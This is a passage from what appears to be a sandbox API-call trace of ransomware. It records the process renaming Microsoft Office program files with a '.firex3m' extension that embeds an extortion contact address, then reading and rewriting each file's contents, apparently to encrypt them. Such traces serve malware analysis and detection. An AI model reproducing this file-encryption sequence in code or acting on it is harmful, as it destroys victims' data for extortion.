ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x3e3fd20, dwReserved1=0x6a47d8, cFileName="POWERPNT_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PO3868~1.FIR")) returned 0x6d5280 [0146.848] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.848] Sleep (dwMilliseconds=0x1) [0148.059] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", len=0x41 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT") returned 1 [0148.060] GetProcessHeap () returned 0x630000 [0148.060] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a4) returned 0x71f7c78 [0148.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0149.889] CloseHandle (hObject=0x6d8) returned 1 [0149.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0150.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0150.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.PPT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRB710~1.FIR")) returned 0x6d5240 [0150.043] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0150.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0150.043] GetProcessHeap () returned 0x630000 [0150.044] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3021) returned 0x73893b8 [0150.044] GetProcessHeap () returned 0x630000 [0150.044] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3021) returned 0x738c3e8 [0150.044] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.044] ReadFile (in: hFile=0x6d8, lpBuffer=0x73893b8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73893b8*, lpNumberOfBytesRead=0x3e3ff0c*=0x3000, lpOverlapped=0x0) returned 1 [0152.553] GetProcessHeap () returned 0x630000 [0152.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0152.553] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.553] WriteFile (in: hFile=0x6d8, lpBuffer=0x738c3e8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738c3e8*, lpNumberOfBytesWritten=0x3e3ff0c*=0x3000, lpOverlapped=0x0) returned 1 [0152.554] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.554] WriteFile (in: hFile=0x6d8, lpBuffer=0x738f3e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738f3e7*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0152.557] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.557] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0152.557] CloseHandle (hObject=0x6d8) returned 1 [0152.557] GetProcessHeap () returned 0x630000 [0152.557] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x738c3e8 | out: hHeap=0x630000) returned 1 [0152.557] GetProcessHeap () returned 0x630000 [0152.557] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73893b8 | out: hHeap=0x630000) returned 1 [0152.557] GetProcessHeap () returned 0x630000 [0152.557] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0152.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0152.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x20e159f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3024, dwReserved0=0xccc7496, dwReserved1=0x73893b0, cFileName="PROTTPLN.PPT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRB710~1.FIR")) returned 0x6d52c0 [0152.557] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0152.557] Sleep (dwMilliseconds=0x1) [0154.541] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", len=0x84 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 1 [0154.542] GetProcessHeap () returned 0x630000 [0154.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b8c) returned 0x713f7f0 [0154.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0154.842] CloseHandle (hObject=0x674) returned 1 [0154.842] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa8619f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa8619f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb91216, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d0, dwReserved0=0x18000018, dwReserved1=0x720065, cFileName="Microsoft.Mashup.Container.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~2.FIR")) returned 0x6d52c0 [0154.844] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0154.844] GetProcessHeap () returned 0x630000 [0154.844] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x48e1) returned 0x7066680 [0154.845] GetProcessHeap () returned 0x630000 [0154.845] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x48e1) returned 0x7078ae0 [0154.845] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.845] ReadFile (in: hFile=0x674, lpBuffer=0x7066680, nNumberOfBytesToRead=0x48c0, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7066680*, lpNumberOfBytesRead=0x3e3ff0c*=0x48c0, lpOverlapped=0x0) returned 1 [0156.982] GetProcessHeap () returned 0x630000 [0156.982] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0156.982] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.982] WriteFile (in: hFile=0x674, lpBuffer=0x7078ae0*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078ae0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x48c0, lpOverlapped=0x0) returned 1 [0156.982] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.982] WriteFile (in: hFile=0x674, lpBuffer=0x707d39f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707d39f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0156.983] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.983] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0156.983] CloseHandle (hObject=0x674) returned 1 [0156.983] GetProcessHeap () returned 0x630000 [0156.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7078ae0 | out: hHeap=0x630000) returned 1 [0156.983] GetProcessHeap () returned 0x630000 [0156.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7066680 | out: hHeap=0x630000) returned 1 [0156.983] GetProcessHeap () returned 0x630000 [0156.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0156.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0156.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa8619f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa8619f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x238544d9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x48f4, dwReserved0=0xccc7496, dwReserved1=0x7066678, cFileName="Microsoft.Mashup.Container.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~2.FIR")) returned 0x6d5540 [0156.983] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0156.983] Sleep (dwMilliseconds=0x1) [0159.160] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml") returned 1 [0159.160] GetProcessHeap () returned 0x630000 [0160.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c0c) returned 0x707d3d0 [0161.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0161.668] CloseHandle (hObject=0x710) returned 1 [0161.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112a, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5580 [0161.682] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0161.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0161.682] GetProcessHeap () returned 0x630000 [0161.682] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x722a78 [0161.682] GetProcessHeap () returned 0x630000 [0161.682] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x72369e8 [0161.682] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.682] ReadFile (in: hFile=0x710, lpBuffer=0x722a78, nNumberOfBytesToRead=0x1120, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesRead=0x3e3ff0c*=0x1120, lpOverlapped=0x0) returned 1 [0161.700] GetProcessHeap () returned 0x630000 [0161.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0161.700] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.700] WriteFile (in: hFile=0x710, lpBuffer=0x72369e8*, nNumberOfBytesToWrite=0x1120, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesWritten=0x3e3ff0c*=0x1120, lpOverlapped=0x0) returned 1 [0161.701] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.701] WriteFile (in: hFile=0x710, lpBuffer=0x7237b07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7237b07*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.701] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.701] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.701] CloseHandle (hObject=0x710) returned 1 [0161.701] GetProcessHeap () returned 0x630000 [0161.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0161.701] GetProcessHeap () returned 0x630000 [0161.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0161.701] GetProcessHeap () returned 0x630000 [0161.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0161.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26556d61, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114e, dwReserved0=0xccc7496, dwReserved1=0x722a70, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0161.702] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0161.702] Sleep (dwMilliseconds=0x1) [0161.716] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll") returned 1 [0161.716] GetProcessHeap () returned 0x630000 [0161.716] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2be4) returned 0x707d3d0 [0161.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1038\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0161.717] CloseHandle (hObject=0x410) returned 1 [0161.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1038\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1038\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0161.718] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0161.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1038\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0161.719] GetProcessHeap () returned 0x630000 [0161.719] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7377158 [0161.719] GetProcessHeap () returned 0x630000 [0161.719] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7382588 [0161.719] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.719] ReadFile (in: hFile=0x410, lpBuffer=0x7377158, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377158*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.875] GetProcessHeap () returned 0x630000 [0166.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0166.875] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.875] WriteFile (in: hFile=0x410, 